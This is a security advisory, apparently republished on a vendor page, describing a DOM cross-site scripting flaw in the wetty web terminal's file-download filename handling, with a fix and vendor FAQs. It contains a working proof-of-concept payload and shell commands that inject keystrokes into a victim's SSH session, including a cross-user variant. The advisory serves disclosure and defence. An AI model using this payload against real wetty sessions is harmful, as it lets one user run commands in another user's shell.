Summary
wetty vulnerable to DOM XSS via file-download filename
The wetty client decodes a base64 filename from the file-download escape sequence and interpolates it raw into a Toastify HTML string (escapeMarkup: false). Any output the victim renders - a cat'd file, a tailed log, an SSH MOTD, a curl response - that contains \x1b[5i...:...\x1b[4i runs script in the wetty origin and types attacker-chosen keystrokes into the victim's SSH session.
Preconditions
- Victim has wetty open with an active SSH session.
- Attacker delivers the file-download escape sequence (
\x1b[5i<b64-name>:<b64-content>\x1b[4i) into output the victim's terminal renders. - Default configuration; no non-default flags required.
Details
// src/client/wetty.ts:37, 46-62
const fileDownloader = new FileDownloader();
// ...
socket.on('data', (data: string) => {
const remainingData = fileDownloader.buffer(data);
// every PTY byte forwarded by the server passes through buffer()
// ...
})
Every byte the server forwards from the PTY passes through FileDownloader.buffer. The buffer scans for the documented file-download markers \x1b[5i (begin) and \x1b[4i (end) - documented in docs/downloading-files.md - and, on a complete match, hands the inner payload to onCompleteFile.
// src/client/wetty/download.ts:9-77
function onCompleteFile(bufferCharacters: string): void {
let fileNameBase64;
let fileCharacters = bufferCharacters;
if (bufferCharacters.includes(':')) {
[fileNameBase64, fileCharacters] = bufferCharacters.split(':');
}
// ...
void detectAndDownload(bytes, fileCharacters, fileNameBase64);
}
async function detectAndDownload(/* ... */): Promise<void> {
// ...
let fileName;
try {
if (fileNameBase64 !== undefined) {
fileName = window.atob(fileNameBase64); // attacker-controlled
}
} catch { /* ... */ }
fileName ??= `file-${ /* timestamp default */ }`;
// ...
Toastify({
text: `Download ready: <a href="${blobUrl}" target="_blank" `
+ `download="${fileName}">${fileName}</a>`, // sink
duration: 10000,
// ...
escapeMarkup: false,
}).showToast();
}
fileName is base64-decoded from the escape-sequence payload, then interpolated twice into a string that Toastify renders as raw HTML (escapeMarkup: false). No HTML escaping runs between atob and the toast markup. The wetty client exposes the live terminal as window.wetty_term, and term.input(data, true) (src/client/wetty/term.ts:80, 93-97, 132, 145-198) fires xterm.js's onData, which src/client/wetty.ts:40-42 forwards as a socket input event - i.e., script in the wetty origin types into the victim's SSH session.
Proof of concept
Setup
Bring up wetty and its bundled SSH host from a fresh clone:
git clone https://github.com/butlerx/wetty cd wetty docker compose up -d sleep 5Open
http://localhost/wettyin a browser. The login terminal prompts for a username (enterterm) then proxies towetty-ssh, which prompts for the SSH password (alsoterm, set incontainers/ssh/Dockerfile). The browser tab now holds a shell on the SSH container.
Exploit
In the SSH session, build and emit the escape sequence. The filename portion carries the HTML payload; the content portion is a short literal so the toast renders quickly:
PAYLOAD='"><img src=x onerror="window.wetty_term.input(\"id > /tmp/pwned\\n\",true)">' FNAME_B64=$(printf '%s' "$PAYLOAD" | base64 -w0) DATA_B64=$(printf 'bait' | base64 -w0) printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64"Expected: a Toastify notification appears at the bottom-right of the wetty page. Its DOM contains the attacker-supplied
<img>element with theonerrorhandler.The
onerrorhandler callswindow.wetty_term.input("id > /tmp/pwned\n", true), which xterm.js dispatches as adataevent;src/client/wetty.ts:40-42forwards it as a socketinputevent; the server writes it to the PTY. The SSH host runsid > /tmp/pwnedas the connected user:cat /tmp/pwnedExpected:
uid=1000(term) gid=1000(term) groups=1000(term).The same chain works cross-user. On a shared SSH host, a low-privileged user plants the sequence in a file the higher-privileged user reads via wetty:
# As the low-priv user on the SSH host printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64" > /tmp/notes.txtWhen the higher-privileged user's wetty session runs
cat /tmp/notes.txt, attacker-controlled JavaScript types commands into that user's shell.
Suggestions to fix
This has not been tested - it is illustrative only.
HTML-escape the decoded filename before interpolating it into Toastify's HTML markup at src/client/wetty/download.ts:67-77.
fileName ??= `file-${new Date()
.toISOString()
.split('.')[0]
.replace(/-/g, '')
.replace('T', '')
.replace(/:/g, '')}${fileExt ? `.${fileExt}` : ''}`;
+ const safeName = fileName.replace(/[&<>"']/g, (c) =>
+ ({ '&': '&', '<': '<', '>': '>', '"': '"', "'": ''' })[c] ?? c,
+ );
const blob = new Blob([bytes.buffer as ArrayBuffer], { type: mimeType });
const blobUrl = URL.createObjectURL(blob);
Toastify({
- text: `Download ready: <a href="${blobUrl}" target="_blank" download="${fileName}">${fileName}</a>`,
+ text: `Download ready: <a href="${blobUrl}" target="_blank" download="${safeName}">${safeName}</a>`,
duration: 10000,
Impact
- Confidentiality: Reads the rendered terminal contents via
window.wetty_term.buffer.active. - Integrity: Types attacker-chosen commands into the victim's SSH session via
window.wetty_term.input(). - Auth: A writer of content the victim renders gains keystroke injection in the victim's higher-privileged session - a path from any local SSH user to commands as the wetty user.
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-49864? CVE-2026-49864 is a high-severity cross-site scripting (XSS) vulnerability in wetty (npm), affecting versions < 3.0.4. It is fixed in 3.0.4. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- Which versions of wetty are affected by CVE-2026-49864? wetty (npm) versions < 3.0.4 is affected.
- Is there a fix for CVE-2026-49864? Yes. CVE-2026-49864 is fixed in 3.0.4. Upgrade to this version or later.
- Is CVE-2026-49864 exploitable, and should I be worried? Whether CVE-2026-49864 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-49864 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-49864? Upgrade
wettyto 3.0.4 or later.